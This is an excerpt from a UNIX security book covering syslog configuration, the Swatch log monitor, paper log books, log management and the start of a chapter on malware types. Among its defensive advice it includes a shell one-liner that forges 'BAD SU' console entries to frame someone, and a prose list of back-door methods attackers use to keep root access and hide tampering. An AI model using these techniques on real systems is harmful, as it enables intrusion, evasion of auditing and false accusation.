syslog is a host-configurable, uniform system logging facility. The system uses a centralized system logging process that runs the program /etc/syslogd or /etc/syslog. Individual programs that need to have information logged send the information to syslog. The messages can then be logged to various files, devices, or computers, depending on the sender of the message and its severity.

Any program can generate a syslog log message. Each message consists of four parts:

  • Program name

  • Facility

  • Priority

  • Log message itself

For example, the message:

login: Root LOGIN REFUSED on ttya

is a log message generated by the login program. It means that somebody tried to log into an unsecure terminal as root. The messages's facility (authorization) and error level (critical error) are not shown.

The syslog facilities are summarized in Table 10.1. Not all facilities are present on all versions of UNIX.

Table 10.1: syslog Facilities
Name | Facility
kern | Kernel
user | Regular user processes
mail | Mail system
lpr | Line printer system
auth | Authorization system, or programs that ask for user names and passwords (login, su, getty, ftpd, etc.)
daemon | Other system daemons
news | News subsystem
uucp | UUCP subsystem
local0... local7 | Reserved for site-specific use
mark | A timestamp facility that sends out a message every 20 minutes

The syslog priorities are summarized in Table 10-2:

Table 10.2: syslog Priorities
Priority | Meaning
emerg | Emergency condition, such as an imminent system crash, usually broadcast to all users
alert | Condition that should be corrected immediately, such as a corrupted system database
crit | Critical condition, such as a hardware error
err | Ordinary error
warning | Warning
notice | Condition that is not an error, but possibly should be handled in a special way
info | Informational message
debug | Messages that are used when debugging programs
none | Do not send messages from the indicated facility to the selected file. For example, specifying *.debug;mail.none sends all messages except mail messages to the selected file.

When syslogd starts up, it reads its configuration file, usually /etc/syslog.conf, to determine what kinds of events it should log and where they should be logged. syslogd then listens for log messages from three sources, shown in Table 10.3.

Table 10.3: Log Message Sources
Source | Meaning
/dev/klog | Special device, used to read messages generated by the kernel
/dev/log | UNIX domain socket, used to read messages generated by processes running on the local machine
UDP port 514 | Internet domain socket, used to read messages generated over the local area network from other machines

10.5.1 The syslog.conf Configuration File

The /etc/syslog.conf file controls where messages are logged. A typical syslog.conf file might look like this:

*.err;kern.debug;auth.notice /dev/console
daemon,auth.notice           /var/adm/messages
lpr.*                        /var/adm/lpd-errs
auth.*                       root,nosmis
auth.*                       @prep.ai.mit.edu
*.emerg                      *
*.alert                      |dectalker
mark.*                       /dev/console

NOTE: The format of the syslog.conf configuration file may vary from vendor to vendor. Be sure to check the documentation for your own system.

Each line of the file contains two parts:

  • A selector that specifies which kind of messages to log (e.g., all error messages or all debugging messages from the kernel).

  • An action field that says what should be done with the message (e.g., put it in a file or send the message to a user's terminal).

NOTE: You must use the tab character between the selector and the action field. If you use a space, it will look the same, but syslog will not work.

Message selectors have two parts: a facility and a priority. kern.debug, for example, selects all debug messages (the priority) generated by the kernel (the facility). It also selects all priorities that are greater than debug. An asterisk in place of either the facility or the priority indicates "all." (That is, *.debug means all debug messages, while kern.* means all messages generated by the kernel.) You can also use commas to specify multiple facilities. Two or more selectors can be grouped together by using a semicolon. (Examples are shown above.)

The action field specifies one of five actions:[7]

[7] Some versions of syslog support additional actions, such as logging to a proprietary error management system.

  • Log to a file or a device. In this case, the action field consists of a filename (or device name), which must start with a forward slash (e.g., /var/adm/lpd-errs or /dev/console). [8]

    [8] Beware: logging to /dev/console creates the possibility of a denial of service attack. If you are logging to the console, an attacker can flood your console with log messages, rendering it unusable.

  • Send a message to a user. In this case, the action field consists of a username (e.g., root). You can specify multiple usernames by separating them with commas (e.g., root,nosmis). The message is written to each terminal where these users are shown to be logged in, according to the utmp file.

  • Send a message to all users. In this case, the action field consists of an asterisk (e.g., *).

  • Pipe the message to a program. In this case, the program is specified after the UNIX pipe symbol (|). [9]

    [9] Some versions of syslog do not support logging to programs.

  • Send the message to the syslog on another host. In this case, the action field consists of a hostname, preceded by an at sign (e.g., @prep.ai.mit.edu.).

With the following explanation, understanding the typical syslog.conf configuration file as shown earlier becomes easy.

*.err;kern.debug;auth.notice /dev/console

This line causes all error messages, all kernel debug messages, and all notice messages generated by the authorization system to be printed on the system console. If your system console is a printing terminal, this process will generate a permanent hardcopy that you can file and use for later reference. (Note that kern.debug means all messages of priority debug and above.)

daemon,auth.notice /var/adm/messages

This line causes all notice messages from either the system daemons or the authorization system to be appended to the file /var/adm/messages.

Note that this is the second line that mentions auth.notice messages. As a result, auth.noticemessages will be sent to both the console and the messages file.

lpr.* /var/adm/lpd-errs

This line causes all messages from the line printer system to be appended to the /var/adm/lpd-errs file.

auth.* root,nosmis

This line causes all messages from the authorization system to be sent to the users root and nosmis. Note, however, that if the users are not logged in, the messages will be lost.

auth.* @prep.ai.mit.edu

This line causes all authorization messages to be sent to the syslog daemon on the computer prep.ai.mit.edu. If you have a cluster of many different machines, you may wish to have them all perform their loggings on a central (and presumably secure) computer.

*.emerg *

This line causes all emergency messages to be displayed on every user's terminal.

*.alert |dectalker

This line causes all alert messages to be sent to a program called dectalker, which might broadcast the message over a public address system.

mark.* /dev/console

This line causes the time to be printed on the system console every 20 minutes. This is useful if you have other information being printed on the console and you want a running clock on the printout.

NOTE: By default, syslog will accept log messages from arbitrary hosts sent to the local syslog UDP port. This can result in a denial of service attack when the port is flooded with messages faster than the syslog daemon can process them. Individuals can also log fraudulent messages. You must properly screen your network against outside log messages.

10.5.2 Where to Log

Because the syslog facility provides many different logging options, this gives individual sites flexibility in setting up their own logging. Different kinds of messages can be handled in different ways. For example, most users won't want to be bothered with most log messages. On the other hand, auth.crit messages should be displayed on the system administrator's screen (in addition to being recorded in a file). This section describes a few different approaches.

10.5.2.1 Logging to a printer

If you have a printer you wish to devote to system logging, you can connect it to a terminal port and specify that port name in the /etc/syslog.conf file.

For example, you might connect a special-purpose printer to the port /dev/ttya. You can then log all messages from the authorization system (such as invalid passwords) by inserting the following line in your syslog.conf file:

auth.*                 /dev/ttya

A printer connected in such a way should only be used for logging. We suggest using dot-matrix printers, rather than laser printers, because dot-matrix printers allow you to view the log line by line as it is written, rather than waiting until an entire page is completed.

Logging to a hardcopy device is a very good idea if you think that your system is being visited by unwelcome intruders on a regular basis. The intruders can erase log files, but after something is sent to a printer, they cannot touch the printer output without physically breaking into your establishment.[10]

[10] Although if they have superuser access they can temporarily stop logging or change what is logged.

NOTE: Be sure that you do not log solely to a hardcopy device. Otherwise, you will lose valuable information if the printer jams or runs out of paper, the ribbon breaks, or somebody steals the paper printout.

10.5.2.2 Logging across the network

If you have several machines connected together by a TCP/IP network, you may wish to have events from all of the machines logged on one (or more) log machines. If this machine is secure, the result will be a log file that can't be altered, even if the security on the other machines is compromised.* To have all of the messages from one computer sent to another computer, you simply insert this line in the first computer's syslog.conf file:

*.*               @loghost

This feature can cause a lot of network traffic. Instead, you limit your log to only "important" messages. For example, this log file would simply send the hardware and security-related messages to the remote logging host, but keep some copies on the local host for debugging purposes:

*.err;kern.debug;auth.notice /dev/console
daemon,auth.notice           /var/adm/messages
lpr.*                        @loghost1,@loghost2
auth.*                       @loghost1,@loghost2
*.emerg                      @loghost1,@loghost2
*.alert                      @loghost1,@loghost2
mark.*                       /dev/console

Logging to another host adds to your overall system security: even if people break into one computer and erase its log files, they will still have to deal with the log messages sent across the network to the other system. If you do log to a remote host, you might wish to restrict user accounts on that machine. However, be careful: if you only log over the network to a single host, then that one host is a single point of failure. The above example logs to both loghost1 and loghost2.

Another alternative is to use a non-UNIX machine as the log host. The syslog code can be compiled on other machines with standard C and TCP/IP libraries. Thus, you can log to a DOS or Macintosh machine, and further protect your logs. After all, if syslog is the only network service running on those systems, there is no way for someone to break in from the net to alter the logs!

10.5.2.3 Logging everything everywhere

Disks are cheap these days. Sites with sufficient resources and adequately trained personnel sometimes choose to log everything that might possibly be useful, and log it in many different places. For example, clients can create their own log files of syslog events, and also send all logging messages to several different logging hosts - possibly on different networks.

The advantage of logging in multiple places is that it makes an attacker's attempts at erasing any evidence of his presence much more difficult. On the other hand, multiple log files will not do you any good if they are never examined. Furthermore, if they are never pruned, they may grow so large that they will shut down your computers.

10.5.3 syslog Messages

The following tables[11] summarize some typical messages available on various versions of UNIX.:

[11] A similar list is not available for System V UNIX, because syslog is part of the Berkeley UNIX offering. Companies that sell syslog with their System V offerings may or may not have modified the additional programs in their operating systems to allow them to use the syslog logging facility.

Table 10.4: Typical Critical Messages
Program | Message | Meaning
halt | halted by <user> | <user> used the /etc/halt command to shut down the system.
login | ROOT LOGIN REFUSED ON <tty> [FROM <hostname>] | root tried to log onto a terminal that is not secure.
login | REPEATED LOGIN FAILURES ON <tty> [FROM <hostname>] <user> | Somebody tried to log in as <user> and supplied a bad password more than five times.
reboot | rebooted by <user> | <user> rebooted the system with the /etc/reboot command.
su | BAD SU <user> on <tty> | Somebody tried to su to the superuser and did not supply the correct password.
shutdown | reboot, halt, or shutdown by <user> on <tty> | <user> used the /etc/shutdown command to reboot, halt, or shut down the system.

Other critical conditions that might be present might include messages about full filesystems, device failures, or network problems.

Table 10.5: Typical Info Messages
Program | Message | Meaning
date | date set by <user> | <user> changed the system date.
login | ROOT LOGIN <tty> [FROM <hostname>] |
 | root logged in. |
su | <user> on <tty> | <user> used the su command to become the superuser.
getty | <tty> | /bin/getty was unable to open <tty>.

NOTE: For security reasons, some information should never be logged. For example, although you should log failed password attempts, you should not log the password that was used in the failed attempt. Users frequently mistype their own passwords, and logging these mistyped passwords would help a computer cracker break into a user's account. Some system administrators believe that the account name should also not be logged on failed login attempts - especially when the account typed by the user is nonexistent. The reason is that users occasionally type their passwords when they are prompted for their usernames. If invalid accounts are logged, then it might be possible for an attacker to use those logs to infer people's passwords.

You may want to insert syslog calls into your own programs to record information of importance. Third-party software also often has a capability to send log messages into the syslog if configured correctly. For example, Xyplex terminal servers and Cisco routers both can log information to a network syslog daemon; Usenet news and POP mail servers also log information.

If you are writing shell scripts, you can also log to syslog. Usually, systems with syslog come with the logger command. To log a warning message about a user trying to execute a shell file with invalid parameters, you might include:

logger -t ThisProg -p user.notice "Called without required # of parameters"

NOTE: Prior to 1995, many versions of the syslog library call did not properly check their inputs to be certain that the data would fit into the function's internal buffers. Thus, many programs could be coerced to accept input to write arbitrary data over their stacks, leading to potential compromise. Be certain that you are running software using a version of syslog that does not have this vulnerability.

10.5.3.1 Beware false log entries

The UNIX syslog facility allows any user to create log entries. This capability opens up the possibility for false data to be entered into your logs. An interesting story of such logging was given to us by Alec Muffet:

A friend of mine - a UNIX sysadmin - enrolled as a mature student at a local polytechnic in order to secure the degree which had been eluding him for the past four years.

One of the other students on his Computer Science course was an obnoxious geek user who was shoulder surfing people and generally making a nuisance of himself, and so my friend determined to take revenge.

The site was running an early version of Ultrix on an 11/750, but the local operations staff were somewhat paranoid about security, had removed world execute from "su" and left it group-execute to those in the wheel group, or similar; in short, only the sysadmin staff should have execute access for su.

Hence, the operations staff were somewhat worried to see messages with the following scrolling up the console:

        BAD SU: geekuser ON ttyp4 AT 11:05:20
        BAD SU: geekuser ON ttyp4 AT 11:05:24
        BAD SU: geekuser ON ttyp4 AT 11:05:29
        BAD SU: geekuser ON ttyp4 AT 11:05:36
        ...

When the console eventually displayed:

        SU: geekuser ON ttyp4 AT 11:06:10

all hell broke loose: the operations staff panicked at the thought of an undergrad running around the system as root and pulled the plug (!) on the machine. The system administrator came into the terminal room, grabbed the geekuser, took him away and shouted at him for half an hour, asking (a) why was he hacking, (b) how was he managing to execute su and (c) how he had guessed the root password?

Nobody had noticed my friend in the corner of the room, quietly running a script which periodically issued the following command, redirected into /dev/console, which was world-writable:

        echo BAD SU: geekuser ON ttyp4 AT `date`

The moral of course is that you shouldn't panic, and that you should treat your audit trail with suspicion.

Previous: 10.4 Per-User Trails in the Filesystem | Practical UNIX & Internet Security | Next: 10.6 Swatch: A Log File Tool
10.4 Per-User Trails in the Filesystem | Book Index | 10.6 Swatch: A Log File Tool


[Chapter 10] 10.6 Swatch: A Log File Tool

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 10.5 The UNIX System Log (syslog) Facility Chapter 10
Auditing and Logging 		Next: 10.7 Handwritten Logs

10.6 Swatch: A Log File Tool

Swatch is a simple program written in the Perl programming language that is designed to monitor log files. It allows you to automatically scan log files for particular entries and then take appropriate action, such as sending you mail, printing a message on your screen, or running a program. There are a few other similar tools available, and we hope that more might be written in the near future, but we'll explain Swatch here as an example of how to automate monitoring of your log files. Swatch allows a great deal of flexibility, although it offers no debugging facility for complicated configuration and it has a temperamental configuration file syntax.

Swatch was developed by E. Todd Atkins at Stanford's EE Computer Facility to automatically scan log files. Swatch is not currently included as standard software with any UNIX distribution, but it is available via anonymous FTP from ftp://sierra.stanford.edu/swatch or ftp://coast.cs.purdue.edu/pub/tools/swatch.

10.6.1 Running Swatch

Swatch has two modes of operation. It can be run in batch, scanning a log file according to a preset configuration. Alternatively, Swatch can monitor your log files in real time, looking at lines as they are added.

Swatch is run from the command line:

% swatch options input-source

The following are the ones that you will most likely use when running Swatch:

-c config_file

Specifies a configuration file to use. By default, Swatch uses the file ~/.swatchrc, which probably isn't what you want to use. (You will probably want to use different configuration files for different log files.)

-r restart_time

Allows you to tell Swatch to restart itself after a certain amount of time. Time may be in the form hh:mm[am|pm] to specify an absolute time, or in the form +hh:mm, meaning a time hh hours and mm minutes in the future.

The Swatch options given below allow you to change the separator that the program uses when interpreting its files. They are probably of limited use in most applications:

-P pattern_separator

Specifies the separator that Swatch uses when parsing the patterns in configuration file. By default, Swatch uses the comma (,) as the separator.

-A action_separator

Specifies the separator that Swatch will use when parsing the actions in the configuration file. By default, Swatch uses the comma (,) as the separator.

-I input_separator

Specifies the separator that Swatch will use to separate each input record of the input file. By default, Swatch uses the newline.

The input source is specified by one of the following arguments:

-f filename

Specifies a file for Swatch to examine. Swatch will do a single pass through the file.

-p program

Specifies a program for Swatch to run and examine the results.

-t filename

Specifies a file for Swatch to examine on a continual basis. Swatch will examine each line of text as it is added.

10.6.2 The Swatch Configuration File

Swatch's operation is controlled by a configuration file. Each line of the file consists of four tab-delimited fields, and has the form:

/pattern/[,/pattern/,...] action[,action,...] [[[HH:]MM:]SS]
[start:length]

The first field specifies a pattern which is scanned for on each line of the log file. The pattern is in the form of a Perl regular expression, which is similar to regular expressions used by egrep. If more than one pattern is specified, then a match on either pattern will signify a match.

The second field specifies an action to be taken each time the pattern in the first field is matched. Swatch supports the following actions:

echo[=mode]

Prints the matched line. You can specify an optional mode, which may be either normal, bold, underscore, blink, or inverse.

bell[=N]

Prints the matched line and rings the bell. You can specify a number N to cause the bell to ring N times.

exec=command

Executes the specified command. If you specify $0 or $* in the configuration file, the symbol will be replaced by the entire line from the log file. If you specify $1, $2 or $N, the symbol will be replaced by the Nth field from the log file line.

system=command

Similar to the exec= action, except that Swatch will not process additional lines from the log file until the command has finished executing.

ignore

Ignores the matched line.

mail[=address:address:...]

Sends electronic mail to the specified address containing the matched line. If no address is specified, the mail will be sent to the user who is running the program.

pipe=command

Pipes the matched lines into the specified command.

write[=user:user:...]

Writes the matched lines on the user's terminal with the write command.

The third and fourth fields are optional. They give you a technique for controlling identical lines which are sent to the log file. If you specify a time, then Swatch will not alert you for identical lines which are sent to the log file within the specified period of time. Instead, Swatch will merely notify you when the first line is triggered, and then after the specified period of time has passed. The fourth field specifies the location within the log file where the timestamp takes place.

For example, on one system, you may have a process which generates the following message repeatedly in the log file:

Apr  3 01:01:00 next routed[9055]: bind: Bad file number
Apr  3 02:01:00 next routed[9135]: bind: Bad file number
Apr  3 03:01:00 next routed[9198]: bind: Bad file number
Apr  3 04:01:00 next routed[9273]: bind: Bad file number

You can catch the log file message with the following Swatch configuration line:

/routed.*bind/  echo        24:00:00        0:16

This line should cause Swatch to report the routedmessage only once a day, with the following message:

*** The following was seen 20 times in the last 24 hours(s):

==> next routed[9273]: bind: Bad file number

Be sure that you use the tab character to separate the fields in your configuration file. If you use spaces, you may get an error message like this:

parse error in file /tmp/..swatch..2097 at line 24, next 2 tokens
 "/routed.*bind
/ echo"
parse error in file /tmp/..swatch..2097 at line 27, next token "}"
Execution of /tmp/..swatch..2097 aborted due to compilation errors.

Previous: 10.5 The UNIX System Log (syslog) Facility | Practical UNIX & Internet Security | Next: 10.7 Handwritten Logs
10.5 The UNIX System Log (syslog) Facility | Book Index | 10.7 Handwritten Logs


[Chapter 10] 10.7 Handwritten Logs

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 10.6 Swatch: A Log File Tool Chapter 10
Auditing and Logging 		Next: 10.8 Managing Log Files

10.7 Handwritten Logs

Another type of logging that can help you with security is not done by the computer at all; it is done by you and your staff. Keep a log book that records your day's activities. Log books should be kept on paper in a physically secure location. Because you keep them on paper, they cannot be altered by someone hacking into your computer even as superuser. They will provide a nearly tamper-proof record of important information.

Handwritten logs have several advantages over online logs:

  • They can record many different kinds of information. For example, your computer will not record a suspicious telephone call or a bomb threat, but you can (and should) record these occurrences in your log book.

  • If the systems are down, you can still access your paper logs. (Thus, this is a good place to keep a copy of account numbers and important phone numbers for field service, service contacts, and your own key personnel.)

  • If disaster befalls your disks, you can recreate some vital information from paper, if it is in the log book.

  • If you keep the log book as a matter of course, and you enter into it printed copies of your exception logs, such information might be more likely to be accepted into court proceedings as business records. This advantage is important if you are in a situation where you need to pursue criminal or civil legal action.

  • Juries are more easily convinced that paper logs are authentic, as opposed to computer logs.

  • Having copies of significant information in the log book keeps you from having to search all the disks on all your workstations for some selected information.

  • If all your other tools fail or might have been compromised, holding an old printout and a new printout of the same file together and up to a bright light, may be a quick way to reveal changes.

Think of your log book as a laboratory notebook, except the laboratory is your own computer center. Each page should be numbered. You should not rip pages out of your book. Write in ink, not pencil. If you need to cross something out, draw a single line, but do not make the text that you are scratching out unreadable. Keep your old log books.

The biggest problem with log books is the amount of time you need to keep them up to date. These are not items that can be automated with a shell script. Unfortunately, this time requirement is the biggest reason why many administrators are reluctant to keep logs - especially at a site with hundreds (or thousands) of machines, each of which might require its own log book. We suggest you try to be creative and think of some way to balance the need for good records against the drudgery of keeping multiple books up to date. Compressing information, and keeping logs for each cluster of machines is one way to reduce the overhead while receiving (nearly) the same benefit.

There are basically two kinds of log books: per-site logs and per-machine logs. We'll outline the kinds of material you might want to keep in each type. Be creative, though, and don't limit yourself to what we suggest here.

10.7.1 Per-Site Logs

In a per-site log book, you want to keep information that would be of use across all your machines and throughout your operations. The information can be further divided into exception and activity reports, and informational material.

10.7.1.1 Exception and activity reports

These reports hold such information as the following:

  • Time/date/duration of power outages; over time, this may help you justify uninterruptible power supplies, or to trace a cause of frequent problems

  • Servicing and testing of alarm systems

  • Triggering of alarm systems

  • Servicing and testing of fire suppression systems

  • Visits by service personnel, including the phone company

  • Dates of employment and termination of employees with privileged access (or with any access)

10.7.1.2 Informational material

This material contains such information as the following:

  • Contact information for important personnel, including corporate counsel, law enforcement, field service, and others who might be involved in any form of incident

  • Copies of purchase orders, receipts, and licenses for all software installed on your systems (invaluable if you are one of the targets of a Software Publishers Association audit)

  • Serial numbers for all significant equipment on the premises

  • All machine MAC-level addresses (e.g., Ethernet addresses) with corresponding IP (or other protocol) numbers

  • Time and circumstances of formal bug reports made to the vendor

  • Phone numbers connected to your computers for dial-in/dial-out

  • Paper copy of the configuration of any routers, firewalls, or other network devices not associated with a single machine

  • Paper copy of a list of disk configurations, SCSI geometries, and partition tables and information.

10.7.2 Per-Machine Logs

Each machine should also have a log book associated with it. Information in these logs, too, can be divided into exception and activity reports, and informational material:

10.7.2.1 Exception and activity reports

These reports hold such information as the following:

  • Times and dates of any halts or crashes, including information on any special measures for system recovery

  • Times, dates, and purposes of any downtimes

  • Data associated with any unusual occurrence, such as network behavior out of the ordinary, or a disk filling up without obvious cause

  • Time and UID of any accounts created, disabled, or deleted, including the account owner, the user name, and the reason for the action.

  • Instances of changing passwords for users

  • Times and levels of backups and restores along with a count of how many times each backup tape has been used

  • Times, dates, and circumstances of software installation or upgrades

  • Times and circumstances of any maintenance activity

10.7.2.2 Informational material

This material contains such information as the following:

  • Copy of current configuration files, including passwd, group, and inetd.conf. (update these copies periodically, or as the files change)

  • List of patches applied from the vendor, software revision numbers, and other identifying information

  • Configuration information for any third-party software installed on the machine

  • "ls -l " listing of any setuid/setgid files on the system, and of all device files

Previous: 10.6 Swatch: A Log File Tool | Practical UNIX & Internet Security | Next: 10.8 Managing Log Files
10.6 Swatch: A Log File Tool | Book Index | 10.8 Managing Log Files


[Chapter 10] 10.8 Managing Log Files

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 10.7 Handwritten Logs Chapter 10
Auditing and Logging 		Next: 11. Protecting Against Programmed Threats

10.8 Managing Log Files

There are several final suggestions we can make about log files. The first has to do with backups. We strongly recommend that you ensure that all of your log files are copied to your backup media on a regular basis, preferably daily. The timing of the backups should be such that any file that is periodically reset is copied to the backups before the reset is performed. This will ensure that you have a series of records over time to show system access and behavior.

Our second suggestion concerns how often to review the log files. We recommend that you do this at least daily. Keeping log records does you little service if you do not review them on a regular basis. Log files can reveal problems with your hardware, with your network configuration, and (of course) with your security. Consequently, you must review the logs regularly to note when a problem is actually present. If you delay for too long, the problem may become more severe; if there has been an intruder, he or she may have the time to edit the log files, change your security mechanisms, and do dirty deeds before you take notice.

Our third suggestion concerns how you process your log messages. Typically, log messages record nothing of particular interest. Thus, every time you review the logs (possibly daily, or several times a day, if you take our previous suggestion), you are faced with many lines of boring, familiar messages. The problem with this scenario is that you may become so accustomed to seeing this material that you get in the habit of making only a cursory scan of the messages to see if something is wrong, and this way you can easily miss an important message.

To address this problem, our advice is to filter the messages that you actually look at to reduce them to a more manageable collection. To do so requires some care, however. You do not want to write a filter that selects those important things you want to see and discards the rest. Such a system is likely to result in an important message being discarded without being read. Instead, you should filter out the boring messages, being as specific as you can with your pattern matching, and pass everything else to you to be read. Periodically, you should also study unfiltered log messages to be sure that you are not missing anything of importance.

Our last suggestion hints at our comments in Chapter 27, Who Do You Trust?, Who Do You Trust? Don't trust your logs completely! Logs can often be altered or deleted by an intruder who obtains superuser privileges. Local users with physical access or appropriate knowledge of the system may be able to falsify or circumvent logging mechanisms. And, of course, software errors and system errors may result in logs not being properly collected and saved. Thus, you need to develop redundant scanning and logging mechanisms: because something is not logged does not mean it didn't happen.

Of course, simply because something was logged doesn't mean it did happen, either - someone may cause entries to be written to logs to throw you off the case of a real problem or point a false accusation at someone else. These deceptions are easy to create with syslog if you haven't protected the network port from messages originating outside your site!

Previous: 10.7 Handwritten Logs | Practical UNIX & Internet Security | Next: 11. Protecting Against Programmed Threats
10.7 Handwritten Logs | Book Index | 11. Protecting Against Programmed Threats


[Chapter 11] Protecting Against Programmed Threats

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 10.8 Managing Log Files Chapter 11 Next: 11.2 Damage

11. Protecting Against Programmed Threats

Contents:
Programmed Threats: Definitions
Damage
Authors
Entry
Protecting Yourself
Protecting Your System

The day is Friday, August 13, 1999. Hilary Nobel, a vice president at a major accounting firm, turns on her desktop computer to finish working on the financial analysis that she has been spending the last two months developing. But instead of seeing the usual login: and password: prompts, she sees a devilish message:

Unix 5.0 Release 4
Your operating license has been revoked by Data Death.
Encrypting all user files....
Call +011 49 4555 1234 to purchase the decryption key.

What has happened? And how could Ms. Nobel have protected herself from the catastrophe?

11.1 Programmed Threats: Definitions

Computers are designed to execute instructions one after another. These instructions usually do something useful - calculate values, maintain databases, and communicate with users and with other systems. Sometimes, however, the instructions executed can be damaging or malicious in nature. When the damage happens by accident, we call the code involved a software bug. Bugs are perhaps the most common cause of unexpected program behavior.

But if the source of the damaging instructions is an individual who intended that the abnormal behavior occur, we call the instructions malicious code, or a programmed threat. Some people use the term malware to describe malicious software.

There are many different kinds of programmed threats. Experts classify threats by the way they behave, how they are triggered, and how they spread. In recent years, occurrences of these programmed threats have been described almost uniformly by the media as viruses. However, viruses make up only a small fraction of the malicious code that has been devised. Saying that all programmed data loss is caused by viruses is as inaccurate as saying that all human diseases are caused by viruses.

Experts who work in this area have formal definitions of all of these types of software. However, not all the experts agree on common definitions. Thus, we'll consider the following practical definitions of malicious software:

  • Security tools and toolkits, which are usually designed to be used by security professionals to protect their sites, but which can also be used by unauthorized individuals to probe for weaknesses

  • Back doors, sometimes called trap doors, which allow unauthorized access to your system

  • Logic bombs, or hidden features in programs that go off after certain conditions are met

  • Viruses, or programs that modify other programs on a computer, inserting copies of themselves

  • Worms, programs that propagate from computer to computer on a network, without necessarily modifying other programs on the target machines

  • Trojan horses, or programs that appear to have one function but actually perform another function

  • Bacteria, or rabbit programs, make copies of themselves to overwhelm a computer system's resources

Some of the threats mentioned above also have nondestructive uses. For example, worms can be used to do distributed computation on idle processors; back doors are useful for debugging programs; and viruses can be written to update source code and patch bugs. The purpose, not the approach, makes a programmed threat threatening.

This chapter provides a general description of each threat, explains how it can affect your UNIX system, and describes how you can protect yourself against it. For more detailed information, refer to the books mentioned in Appendix D, Paper Sources.

11.1.1 Security Tools

Recently, many programs have been written that can automatically scan for computer security weaknesses. These programs can quickly probe a computer or an entire network of computers for hundreds of weaknesses within a short period of time. SATAN, Tiger, ISS, and COPS are all examples of such tools.

Most security tools are designed to be used by computer professionals to find problems with their own sites. The tools are highly automated and thorough. Naturally, these tools need to report the problems that they find, so that they can be corrected. Unfortunately, this requirement makes these tools useful to someone seeking flaws to exploit. Because these tools are readily obtainable, they are sometimes used by attackers seeking to compromise a system.

There are also programs and tool sets whose only function is to attack computers. These programs are increasingly sophisticated and readily available on the Internet and various bulletin boards. These often require minimal knowledge and sophistication to use. Sites have reported break-ins from people using these tools to manipulate protocol-timing vulnerabilities and to change kernel data structures, only to have the intruders try to issue DOS commands on the UNIX machines: they were completely unfamiliar with UNIX itself!

Because of the availability of security tools and high-quality attackware, you must be aware of potential vulnerabilities in your systems, and keep them protected and monitored. Some people believe that the only effective strategy for the security professional is to obtain the tools and run them before the bad guys do. There is some merit to this argument, but there are also many dangers. Some of the tools are not written with safety or portability in mind, and may damage your systems. Other tools can be booby-trapped to compromise your system clandestinely, when you think you are simply scanning for problems. And then there are always the questions of whether the tools are scanning for real problems, and whether system administrators can understand the output.

For all these reasons, we suggest that you be aware of the tools and toolkits that may be available, but don't rush to use them yourself unless you are very certain you understand what they do and how they might help you secure your own system.

11.1.2 Back Doors and Trap Doors

Back doors, also called trap doors, are pieces of code written into applications or operating systems to grant programmers access to programs without requiring them to go through the normal methods of access authentication. Back doors and trap doors have been around for many years. They're typically written by application programmers who need a means of debugging or monitoring code that they are developing.

Most back doors are inserted into applications that require lengthy authentication procedures, or long setups, requiring a user to enter many different values to run the application. When debugging the program, the developer may wish to gain special privileges, or to avoid all the necessary setup and authentication steps. The programmer also may want to ensure that there is a method of activating the program should something be wrong with the authentication procedure that is being built into the application. The back door is code that either recognizes some special sequence of input, or is triggered by being run from a certain user ID. It then grants special access.

Back doors become threats when they're used by unscrupulous programmers to gain unauthorized access. They are also a problem when the initial application developer forgets to remove a back door after the system has been debugged and some other individual discovers the door's existence.

Perhaps the most famous UNIX back door was the DEBUG option of the sendmail program, exploited by the Internet worm program in November of 1988. The DEBUG option was added for debugging sendmail. Unfortunately, the DEBUG option also had a back door in it, which allowed remote access of the computer over the network without an initial login. The DEBUG option was accidentally left enabled in the version of the program that was distributed by Sun Microsystems, Digital Equipment Corporation, and others.

Sometimes, a cracker inserts a back door in a system after he successfully penetrates that system, or to become root, at a later time. The back door gives the cracker a way to get back into the system. Back doors take many forms. A cracker might:

  • Install an altered version of login, telnetd, ftpd, rshd, or some other program; the altered program usually accepts a special input sequence and spawns a shell for the user

  • Plant an entry in the .rhosts file of a user or the superuser to allow future unauthorized access for the attacker

  • Change the /etc/fstab file on an NFS system to remove the nosuid designator, allowing a legitimate user to become root without authorization through a remote program

  • Add an alias to the mail system, so that when mail is sent to that alias, the mailer runs a program of the cracker's designation, possibly creating an entry into the system

  • Change the owner of the /etc directory so the intruder can rename and subvert files such as /etc/passwd and /etc/group at a later time

  • Change the file permissions of /dev/kmem or your disk devices so they can be modified by someone other than root

  • Install a harmless-looking shell file somewhere that sets SUID so a user can use the shell to become root

  • Change or add a network service to provide a root shell to a remote caller

Coupled with all of these changes, the intruder can modify timestamps, checksums, and audit programs so that the system administrator cannot detect the alteration!

Protecting against back doors is complicated. The foremost defense is to check the integrity of important files regularly (see Chapter 9, Integrity Management). Also, scan the system periodically for SUID/SGID files, and check permissions and ownership of important files and directories periodically. For more information, see Chapter 5, The UNIX Filesystem, and Chapter 6, Cryptography.

Checking new software is also important, because new software - especially from sources that are unknown or not well-known - can (and occasionally does) contain back doors. If possible, read through and understand the source code of all software (if available) before installing it on your system. If you are suspicious of the software, don't use it, especially if it requires special privileges (being SUID root). Accept software only from trusted sources.

As a matter of good policy, new software should first be installed on some noncritical systems for testing and familiarization. This practice gives you an opportunity to isolate problems, identify incompatibilities, and note quirks. Don't install new software first on a "live" production system!

Note that you should not automatically trust software from a commercial firm or group. Sometimes commercial firms insert back doors into their code to allow for maintenance, or recovering lost passwords. These back doors might be secret today, but become well-known tomorrow. As long as customers (you) are willing to purchase software that comes with broad disclaimers of warranty and liability, there will be little incentive for vendors to be accountable for the code they sell. Thus, you might want to seek other, written assurances about any third-party code you buy and install on your computers.

11.1.3 Logic Bombs

Logic bombs are programmed threats that lie dormant in commonly used software for an extended period of time until they are triggered; at this point, they perform a function that is not the intended function of the program in which they are contained. Logic bombs usually are embedded in programs by software developers who have legitimate access to the system.

Conditions that might trigger a logic bomb include the presence or absence of certain files, a particular day of the week, or a particular user running the application. The logic bomb might check first to see which users are logged in, or which programs are currently in use on the system. Once triggered, a logic bomb can destroy or alter data, cause machine halts, or otherwise damage the system. In one classic example, a logic bomb checked for a certain employee ID number and then was triggered if the ID failed to appear in two consecutive payroll calculations (i.e., the employee had left the company).

Time-outs are a special kind of logic bomb that are occasionally used to enforce payment or other contract provisions. Time-outs make a program stop running after a certain amount of time unless some special action is taken. The SCRIBE text formatting system uses quarterly time-outs to require licensees to pay their quarterly license fees.

